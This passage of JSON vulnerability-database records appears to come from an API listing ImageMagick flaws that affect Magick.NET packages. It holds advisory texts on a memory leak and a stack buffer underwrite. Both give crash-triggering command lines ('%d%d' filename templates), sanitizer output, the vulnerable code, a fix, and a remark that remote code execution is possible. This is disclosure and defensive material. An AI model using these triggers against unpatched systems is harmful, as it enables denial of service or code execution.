alue":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"LOW","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-wfx3-6g53-9fgc"},{"reference_url":"https://github.com/advisories/GHSA-wfx3-6g53-9fgc","reference_id":"GHSA-wfx3-6g53-9fgc","reference_type":"","scores":[{"value":"LOW","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-wfx3-6g53-9fgc"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/67936?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.10.3","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.10.3"}],"aliases":["GHSA-wfx3-6g53-9fgc"],"risk_score":1.6,"exploitability":"0.5","weighted_severity":"3.3","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-6ztv-auh8-27gx"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/29097?format=json","vulnerability_id":"VCID-784p-34mz-vucz","summary":"ImageMagick has a Memory Leak in magick stream\n## Summary\n\nIn ImageMagick's `magick stream` command, specifying multiple consecutive `%d` format specifiers in a filename template causes a memory leak.\n\n## Details\n\n- **Vulnerability Type:** Memory leak\n- **Affected Version:** ImageMagick 7.1.1-47 (as of commit 82572afc, June 2025)\n\n## Reproduction\n\n### Tested Environment\n\n- **Operating System:** Ubuntu 22.04 LTS\n- **Architecture:** x86_64\n- **Compiler:** gcc with AddressSanitizer (gcc version: 11.4.0)\n\n### Reproduction Steps\n\n```bash\n# Clone source\ngit clone --depth 1 --branch 7.1.1-47 https://github.com/ImageMagick/ImageMagick.git ImageMagick-7.1.1\ncd ImageMagick-7.1.1\n\n# Build with ASan\nCFLAGS=\"-g -O0 -fsanitize=address -fno-omit-frame-pointer\" CXXFLAGS=\"$CFLAGS\" LDFLAGS=\"-fsanitize=address\" ./configure --enable-maintainer-mode --enable-shared && make -j$(nproc) && make install\n\n# Trigger crash\n./utilities/magick stream %d%d a a\n```\n\n### Output\n```\n$ magick stream %d%d a a\nstream: no decode delegate for this image format `' @ error/constitute.c/ReadImage/746.\nstream: missing an image filename `a' @ error/stream.c/StreamImageCommand/755.\n\n=================================================================\n==114==ERROR: LeakSanitizer: detected memory leaks\n\nDirect leak of 152 byte(s) in 1 object(s) allocated from:\n    #0 0x7fc4ebe58887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145\n    #1 0x7fc4eb563c5c in AcquireMagickMemory MagickCore/memory.c:559\n    #2 0x7fc4eb563c82 in AcquireCriticalMemory MagickCore/memory.c:635\n    #3 0x7fc4eb60c2be in AcquireQuantumInfo MagickCore/quantum.c:119\n    #4 0x7fc4eb6b6621 in StreamImage MagickCore/stream.c:1335\n    #5 0x7fc4eb09d889 in StreamImageCommand MagickWand/stream.c:292\n    #6 0x7fc4eaf1295d in MagickCommandGenesis MagickWand/magick-cli.c:177\n    #7 0x55a34f7c0a0c in MagickMain utilities/magick.c:153\n    #8 0x55a34f7c0cba in main utilities/magick.c:184\n    #9 0x7fc4ea38fd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58\n\nIndirect leak of 64 byte(s) in 1 object(s) allocated from:\n    #0 0x7fc4ebe5957c in __interceptor_posix_memalign ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:226\n    #1 0x7fc4eb680e2f in AcquireSemaphoreMemory MagickCore/semaphore.c:154\n    #2 0x7fc4eb680f30 in AcquireSemaphoreInfo MagickCore/semaphore.c:200\n    #3 0x7fc4eb60d38d in GetQuantumInfo MagickCore/quantum.c:435\n    #4 0x7fc4eb60c30e in AcquireQuantumInfo MagickCore/quantum.c:121\n    #5 0x7fc4eb6b6621 in StreamImage MagickCore/stream.c:1335\n    #6 0x7fc4eb09d889 in StreamImageCommand MagickWand/stream.c:292\n    #7 0x7fc4eaf1295d in MagickCommandGenesis MagickWand/magick-cli.c:177\n    #8 0x55a34f7c0a0c in MagickMain utilities/magick.c:153\n    #9 0x55a34f7c0cba in main utilities/magick.c:184\n    #10 0x7fc4ea38fd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58\n\nSUMMARY: AddressSanitizer: 216 byte(s) leaked in 2 allocation(s).\n```\n\n### Commits\nFixed in https://github.com/ImageMagick/ImageMagick/commit/fc3ab0812edef903bbb2473c0ee652ddfd04fe5c and https://github.com/ImageMagick/ImageMagick6/commit/d49460522669232159c2269fa64f73ed30555c1b","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-53019.json","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-53019.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2025-53019","reference_id":"","reference_type":"","scores":[{"value":"0.00086","scoring_system":"epss","scoring_elements":"0.24806","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00086","scoring_system":"epss","scoring_elements":"0.24739","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00086","scoring_system":"epss","scoring_elements":"0.24966","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00086","scoring_system":"epss","scoring_elements":"0.24926","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00096","scoring_system":"epss","scoring_elements":"0.26301","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00096","scoring_system":"epss","scoring_elements":"0.2658","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00096","scoring_system":"epss","scoring_elements":"0.26587","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00096","scoring_system":"epss","scoring_elements":"0.26541","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00096","scoring_system":"epss","scoring_elements":"0.26484","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00096","scoring_system":"epss","scoring_elements":"0.2649","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00096","scoring_system":"epss","scoring_elements":"0.26463","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00096","scoring_system":"epss","scoring_elements":"0.26424","published_at":"2026-04-21T12:55:00Z"},{"value":"0.00096","scoring_system":"epss","scoring_elements":"0.26363","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00096","scoring_system":"epss","scoring_elements":"0.26356","published_at":"2026-04-26T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2025-53019"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-53019","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-53019"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.7.0","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.7.0"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick"},{"reference_url":"https://github.com/ImageMagick/ImageMagick6/commit/d49460522669232159c2269fa64f73ed30555c1b","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick6/commit/d49460522669232159c2269fa64f73ed30555c1b"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/commit/fc3ab0812edef903bbb2473c0ee652ddfd04fe5c","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/ImageMagick/ImageMagick/commit/fc3ab0812edef903bbb2473c0ee652ddfd04fe5c"},{"reference_url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-cfh4-9f7v-fhrc","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"LOW","scoring_system":"cvssv3.1_qr","scoring_elements":""},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""},{"value":"Track","scoring_system":"ssvc","scoring_elements":"SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-07-15T13:27:49Z/"}],"url":"https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-cfh4-9f7v-fhrc"},{"reference_url":"https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://lists.debian.org/debian-lts-announce/2025/09/msg00012.html"},{"reference_url":"https://nvd.nist.gov/vuln/detail/CVE-2025-53019","reference_id":"","reference_type":"","scores":[{"value":"3.7","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L"},{"value":"LOW","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-53019"},{"reference_url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1109339","reference_id":"1109339","reference_type":"","scores":[],"url":"https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1109339"},{"reference_url":"https://bugzilla.redhat.com/show_bug.cgi?id=2379949","reference_id":"2379949","reference_type":"","scores":[],"url":"https://bugzilla.redhat.com/show_bug.cgi?id=2379949"},{"reference_url":"https://github.com/advisories/GHSA-cfh4-9f7v-fhrc","reference_id":"GHSA-cfh4-9f7v-fhrc","reference_type":"","scores":[{"value":"LOW","scoring_system":"cvssv3.1_qr","scoring_elements":""}],"url":"https://github.com/advisories/GHSA-cfh4-9f7v-fhrc"},{"reference_url":"https://usn.ubuntu.com/7728-1/","reference_id":"USN-7728-1","reference_type":"","scores":[],"url":"https://usn.ubuntu.com/7728-1/"}],"fixed_packages":[{"url":"http://public2.vulnerablecode.io/api/packages/570675?format=json","purl":"pkg:nuget/magick.net-q8-openmp-x64@14.7.0","is_vulnerable":true,"affected_by_vulnerabilities":[{"vulnerability":"VCID-15ny-qqbj-qyfk"},{"vulnerability":"VCID-1cpn-zvem-v7gt"},{"vulnerability":"VCID-29r3-kvf4-n3hc"},{"vulnerability":"VCID-2gw3-qfan-jygd"},{"vulnerability":"VCID-2zje-ag2v-7kac"},{"vulnerability":"VCID-4a2j-v88n-byfk"},{"vulnerability":"VCID-54da-fzyt-4ud2"},{"vulnerability":"VCID-569d-6nue-5kbq"},{"vulnerability":"VCID-5uyd-bv33-h7g1"},{"vulnerability":"VCID-5xqd-gf3b-4ygw"},{"vulnerability":"VCID-5zkt-kcgx-a3e2"},{"vulnerability":"VCID-62ar-kwbq-nyh3"},{"vulnerability":"VCID-69f6-ceje-hyah"},{"vulnerability":"VCID-6h7x-3rue-kucp"},{"vulnerability":"VCID-6meg-yjby-a7gj"},{"vulnerability":"VCID-6rma-wjdv-uqe9"},{"vulnerability":"VCID-6ztv-auh8-27gx"},{"vulnerability":"VCID-a2qm-vkc3-qkd5"},{"vulnerability":"VCID-acsa-1uwk-fqee"},{"vulnerability":"VCID-anyp-2jr7-73a1"},{"vulnerability":"VCID-b43n-3d1g-u3fe"},{"vulnerability":"VCID-b5pd-kk97-gban"},{"vulnerability":"VCID-bw4q-dt1r-y3e4"},{"vulnerability":"VCID-cbqr-aybx-d3e6"},{"vulnerability":"VCID-cuhw-ew1g-s3h2"},{"vulnerability":"VCID-d8yf-8rff-3yhf"},{"vulnerability":"VCID-dabd-m3mf-3ker"},{"vulnerability":"VCID-dtza-65ku-aber"},{"vulnerability":"VCID-ef36-52cx-dfg5"},{"vulnerability":"VCID-emmr-15qp-vfah"},{"vulnerability":"VCID-f1zu-xb4j-8qhp"},{"vulnerability":"VCID-fnck-7mvx-hqc9"},{"vulnerability":"VCID-g41y-dv8u-3yf1"},{"vulnerability":"VCID-gdg8-aejn-83c4"},{"vulnerability":"VCID-h221-qd8d-tqa5"},{"vulnerability":"VCID-jc5m-7rvc-2qg6"},{"vulnerability":"VCID-jcjk-s89c-mbbm"},{"vulnerability":"VCID-jvq6-xjbu-fkb9"},{"vulnerability":"VCID-kdw5-8y5z-zya5"},{"vulnerability":"VCID-kefv-kpkk-wudf"},{"vulnerability":"VCID-mntx-6yku-3qcx"},{"vulnerability":"VCID-mxg1-261s-nbds"},{"vulnerability":"VCID-n47w-r932-abey"},{"vulnerability":"VCID-ny3q-taj8-9qdx"},{"vulnerability":"VCID-p5aw-n691-nkff"},{"vulnerability":"VCID-pcme-bwan-3bcf"},{"vulnerability":"VCID-r3vw-ncns-cqgb"},{"vulnerability":"VCID-r889-wzc7-1yem"},{"vulnerability":"VCID-rbdg-vz8x-ykah"},{"vulnerability":"VCID-rj9n-ra1t-77dy"},{"vulnerability":"VCID-rjkf-pdny-2fhn"},{"vulnerability":"VCID-sd54-b8z1-2fg7"},{"vulnerability":"VCID-sd7w-6qv5-73ge"},{"vulnerability":"VCID-sdc2-fcap-abaz"},{"vulnerability":"VCID-spch-fffg-4yc5"},{"vulnerability":"VCID-sw7g-hxxr-n3e1"},{"vulnerability":"VCID-tt6z-t31v-dkdd"},{"vulnerability":"VCID-tv15-dcnu-pbbn"},{"vulnerability":"VCID-utfe-h3b7-jqcj"},{"vulnerability":"VCID-uvpj-a8v5-ebgz"},{"vulnerability":"VCID-uwj5-1fkf-7qg9"},{"vulnerability":"VCID-vaks-d4k5-zue7"},{"vulnerability":"VCID-vbdt-31wd-v3h8"},{"vulnerability":"VCID-vkp6-wh22-eqap"},{"vulnerability":"VCID-vpdn-g1k9-1kdn"},{"vulnerability":"VCID-x44m-x33k-hydn"},{"vulnerability":"VCID-x8c6-9pse-xkc8"},{"vulnerability":"VCID-xbsu-ac6g-53fn"},{"vulnerability":"VCID-y4hn-6bv6-jugw"},{"vulnerability":"VCID-y58b-be93-hbfd"},{"vulnerability":"VCID-yx7r-r7ez-7uhp"},{"vulnerability":"VCID-zab9-9tqj-hbhg"},{"vulnerability":"VCID-zpcy-nms7-kuha"},{"vulnerability":"VCID-zvq4-ybph-buga"},{"vulnerability":"VCID-zx14-t8et-ufcq"}],"resource_url":"http://public2.vulnerablecode.io/packages/pkg:nuget/magick.net-q8-openmp-x64@14.7.0"}],"aliases":["CVE-2025-53019","GHSA-cfh4-9f7v-fhrc"],"risk_score":1.6,"exploitability":"0.5","weighted_severity":"3.3","resource_url":"http://public2.vulnerablecode.io/vulnerabilities/VCID-784p-34mz-vucz"},{"url":"http://public2.vulnerablecode.io/api/vulnerabilities/28405?format=json","vulnerability_id":"VCID-9ewm-6688-kkar","summary":"ImageMagick has a Stack Buffer Overflow in image.c\nHi, we have found a stack buffer overflow and would like to report this issue.\nCould you confirm if this qualifies as a security vulnerability? I am happy to provide any additional information needed.\n\n## Summary\n\nIn ImageMagick's `magick mogrify` command, specifying multiple consecutive `%d` format specifiers in a filename template causes internal pointer arithmetic to generate an address below the beginning of the stack buffer, resulting in a stack overflow through `vsnprintf()`.\n\n### Additional information\n\n Upon further investigation, we found that the same issue occurs not only with mogrify but also with the following subcommands: compare, composite, conjure, convert, identify, mogrify, and montage.\n\nFurthermore, we confirmed that this vulnerability has the potential to lead to RCE. RCE is possible when ASLR is disabled and there is a suitable one_gadget in libc, provided that options and filenames can be controlled.\n\n## Details\n\n- **Vulnerability Type:** CWE-124: Buffer Underwrite\n- **Affected Component:** MagickCore/image.c - Format processing within InterpretImageFilename()\n- **Affected Version:** ImageMagick 7.1.1-47 (as of commit 82572afc, June 2025)\n- **CWE-124: Buffer Underwrite:** A vulnerability where writing occurs to memory addresses before the beginning of a buffer. This is caused by a design flaw in fixed offset correction, resulting in negative pointer arithmetic during consecutive format specifier processing.\n\n## Reproduction\n\n### Tested Environment\n\n- **Operating System:** Ubuntu 22.04 LTS\n- **Architecture:** x86_64\n- **Compiler:** gcc with AddressSanitizer (gcc version: 11.4.0)\n\n### Reproduction Steps\n\n```bash\n# Clone source\ngit clone --depth 1 --branch 7.1.1-47 https://github.com/ImageMagick/ImageMagick.git ImageMagick-7.1.1\ncd ImageMagick-7.1.1\n\n# Build with ASan\nCFLAGS=\"-g -O0 -fsanitize=address -fno-omit-frame-pointer\" CXXFLAGS=\"$CFLAGS\" LDFLAGS=\"-fsanitize=address\" ./configure --enable-maintainer-mode --enable-shared && make -j$(nproc) && make install\n\n# Trigger crash\n./utilities/magick mogrify %d%d\n```\n\n### Output\n\n```plaintext\n==4155==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffda834caae at pc 0x7f1ea367fb27 bp 0x7ffda834b680 sp 0x7ffda834ae10\nWRITE of size 2 at 0x7ffda834caae thread T0\n    #0 0x7f1ea367fb26 in __interceptor_vsnprintf ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:1668\n    #1 0x7f1ea2dc9e3e in FormatLocaleStringList MagickCore/locale.c:470\n    #2 0x7f1ea2dc9fd9 in FormatLocaleString MagickCore/locale.c:495\n    #3 0x7f1ea2da0ad5 in InterpretImageFilename MagickCore/image.c:1696\n    #4 0x7f1ea2c6126b in ReadImages MagickCore/constitute.c:1051\n    #5 0x7f1ea27ef29b in MogrifyImageCommand MagickWand/mogrify.c:3858\n    #6 0x7f1ea278e95d in MagickCommandGenesis MagickWand/magick-cli.c:177\n    #7 0x560813499a0c in MagickMain utilities/magick.c:153\n    #8 0x560813499cba in main utilities/magick.c:184\n    #9 0x7f1ea1c0bd8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58\n    #10 0x7f1ea1c0be3f in __libc_start_main_impl ../csu/libc-start.c:392\n    #11 0x560813499404 in _start (/root/workdir/ImageMagick/utilities/.libs/magick+0x2404)\n\nAddress 0x7ffda834caae is located in stack of thread T0 at offset 62 in frame\n    #0 0x7f1ea2c60f62 in ReadImages MagickCore/constitute.c:1027\n\n  This frame has 2 object(s):\n    [32, 40) 'images' (line 1033)\n    [64, 4160) 'read_filename' (line 1029) <== Memory access at offset 62 underflows this variable\nHINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork\n      (longjmp and C++ exceptions *are* supported)\nSUMMARY: AddressSanitizer: stack-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:1668 in __interceptor_vsnprintf\nShadow bytes around the buggy address:\n  0x100035061900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100035061910: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100035061920: 00 00 00 00 00 00 00 00 f3 f3 f3 f3 f3 f3 f3 f3\n  0x100035061930: f3 f3 f3 f3 f3 f3 f3 f3 00 00 00 00 00 00 00 00\n  0x100035061940: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n=>0x100035061950: f1 f1 00 f2 f2[f2]00 00 00 00 00 00 00 00 00 00\n  0x100035061960: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100035061970: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100035061980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x100035061990: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n  0x1000350619a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==4155==ABORTING\n```\n\n### Affected Code\n\nIn `MagickCore/image.c`, within the `InterpretImageFilename()` function:\n\n```c\nMagickExport size_t InterpretImageFilename(const ImageInfo *image_info,\n  Image *image,const char *format,int value,char *filename,\n  ExceptionInfo *exception)\n{\n...\n  for (p=strchr(format,'%'); p != (char *) NULL; p=strchr(p+1,'%'))\n  {\n    q=(char *) p+1;\n    if (*q == '%')\n      {\n        p=q+1;\n        continue;\n      }\n    field_width=0;\n    if (*q == '0')\n      field_width=(ssize_t) strtol(q,&q,10);\n    switch (*q)\n    {\n      case 'd':\n      case 'o':\n      case 'x':\n      {\n        q++;\n        c=(*q);\n        *q='\\0';\n        /*--------Affected--------*/\n        (void) FormatLocaleString(filename+(p-format-offset),(size_t)\n          (MagickPathExtent-(p-format-offset)),p,value);\n        offset+=(4-field_width);\n        /*--------Affected--------*/\n        *q=c;\n        (void) ConcatenateMagickString(filename,q,MagickPathExtent);\n        canonical=MagickTrue;\n        if (*(q-1) != '%')\n          break;\n        p++;\n        break;\n      }\n      case '[':\n      {\n        ...\n      }\n      default:\n        break;\n    }\n  }\n```\n\n## Technical Analysis\n\nThis vulnerability is caused by an inconsistency in the template expansion processing within `InterpretImageFilename()`.\n\nThe format specifiers `%d`, `%o`, and `%x` in templates are replaced with integer values by `FormatLocaleString()`, but the output buffer position is calculated by `filename + (p - format - offset)`.\n\nThe `offset` variable is cumulatively incremented to correct the output length of `%d` etc., but the design using a static `offset += (4 - field_width)` causes `offset` to increase excessively when `%` specifiers are consecutive in the template, creating a dangerous state where the write destination address points before `filename`.\n\nThe constant `4` was likely chosen based on the character count of typical format specifiers like `%03d` (total of 4 characters: `%`, `0`, `3`, `d`). However, in reality, there are formats with only 2 characters like `%d`, and formats with longer width specifications (e.g., `%010d`), so this uniform constant-based correction is inconsistent with actual template structures.\n\nAs a result, when the correction value becomes excessive, `offset` exceeds the relative position `p - format` within the template, generating a negative index. This static and template-independent design of the correction processing is the root cause of this vulnerability.\n\nThis causes `vsnprintf()` to write outside the stack buffer range, which is detected by AddressSanitizer as a `stack-buffer-overflow`.\n\n## Proposed Fix\n\nIn `MagickCore/image.c`, within the `InterpretImageFilename()` function:\n\n```c\nMagickExport size_t InterpretImageFilename(const ImageInfo *image_info,\n  Image *image,const char *format,int value,char *filename,\n  ExceptionInfo *exception)\n{\n...\n  /*--------Changed--------*/\n  ssize_t\n    field_width,\n    offset,\n    written; // Added\n  /*--------Changed--------*/\n...\n  for (p=strchr(format,'%'); p != (char *) NULL; p=strchr(p+1,'%'))\n  {\n    q=(char *) p+1;\n    if (*q == '%')\n      {\n        p=q+1;\n        continue;\n      }\n    field_width=0;\n    if (*q == '0')\n      field_width=(ssize_t) strtol(q,&q,10);\n    switch (*q)\n    {\n      case 'd':\n      case 'o':\n      case 'x':\n      {\n        q++;\n        c=(*q);\n        *q='\\0';\n        written = FormatLocaleString(filename+(p-format-offset),(size_t)\n          (MagickPathExtent-(p-format-offset)),p,value);\n        /*--------Changed--------*/\n        if (written <= 0 || written > (MagickPathExtent - (p - format - offset)))\n          return 0;\n        offset += (ssize_t)((q - p) - written);\n        /*--------Changed--------*/\n        *q=c;\n        (void) ConcatenateMagickString(filename,q,MagickPathExtent);\n        canonical=MagickTrue;\n        if (*(q-1) != '%')\n          break;\n        p++;\n        break;\n      }\n      case '[':\n      {\n        ...\n      }\n      default:\n        break;\n    }\n  }\n```\n- By updating `offset` based on the difference between template description length `(q - p)` and the number of output bytes `written`, buffer position consistency is maintained.\n- Correction is performed according to the actual template structure, ensuring stable behavior regardless of format length without relying on static constants.\n- Range checking of `written` allows detection of vsnprintf failures and excessive writes.\n\n### Commits\nFixed in https://github.com/ImageMagick/ImageMagick/commit/66dc8f51c11b0ae1f1cdeacd381c3e9a4de69774 and https://github.com/ImageMagick/ImageMagick6/commit/643deeb60803488373cd4799b24d5786af90972e","references":[{"reference_url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-53101.json","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:L"}],"url":"https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-53101.json"},{"reference_url":"https://api.first.org/data/v1/epss?cve=CVE-2025-53101","reference_id":"","reference_type":"","scores":[{"value":"0.00102","scoring_system":"epss","scoring_elements":"0.28046","published_at":"2026-04-07T12:55:00Z"},{"value":"0.00102","scoring_system":"epss","scoring_elements":"0.28113","published_at":"2026-04-08T12:55:00Z"},{"value":"0.00102","scoring_system":"epss","scoring_elements":"0.28213","published_at":"2026-04-02T12:55:00Z"},{"value":"0.00102","scoring_system":"epss","scoring_elements":"0.28256","published_at":"2026-04-04T12:55:00Z"},{"value":"0.00114","scoring_system":"epss","scoring_elements":"0.29968","published_at":"2026-04-18T12:55:00Z"},{"value":"0.00114","scoring_system":"epss","scoring_elements":"0.29989","published_at":"2026-04-16T12:55:00Z"},{"value":"0.00114","scoring_system":"epss","scoring_elements":"0.29973","published_at":"2026-04-13T12:55:00Z"},{"value":"0.00114","scoring_system":"epss","scoring_elements":"0.30023","published_at":"2026-04-12T12:55:00Z"},{"value":"0.00114","scoring_system":"epss","scoring_elements":"0.30063","published_at":"2026-04-09T12:55:00Z"},{"value":"0.00114","scoring_system":"epss","scoring_elements":"0.30067","published_at":"2026-04-11T12:55:00Z"},{"value":"0.00114","scoring_system":"epss","scoring_elements":"0.29672","published_at":"2026-04-29T12:55:00Z"},{"value":"0.00114","scoring_system":"epss","scoring_elements":"0.29736","published_at":"2026-04-26T12:55:00Z"},{"value":"0.00114","scoring_system":"epss","scoring_elements":"0.29849","published_at":"2026-04-24T12:55:00Z"},{"value":"0.00114","scoring_system":"epss","scoring_elements":"0.29923","published_at":"2026-04-21T12:55:00Z"}],"url":"https://api.first.org/data/v1/epss?cve=CVE-2025-53101"},{"reference_url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-53101","reference_id":"","reference_type":"","scores":[],"url":"https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-53101"},{"reference_url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml","reference_id":"","reference_type":"","scores":[{"value":"6.5","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H"}],"url":"https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml"},{"reference_url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.7.0","reference_id":"","reference_type":"","scores":[{"value":"7.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:H"},{"value":"HIGH","scoring_system":"generic_textual","scoring_elements":""}],"url":"https://github.com/dlemstra/Magick.NET/releases/tag/14.7.0"},{"reference_url":"https://github.com/ImageMagick/ImageMagick","reference_id":"","reference_type":"","scores":[{"value":"7.4","scoring_system":"cvssv3.1","scoring_elements":"CVSS:3.1/A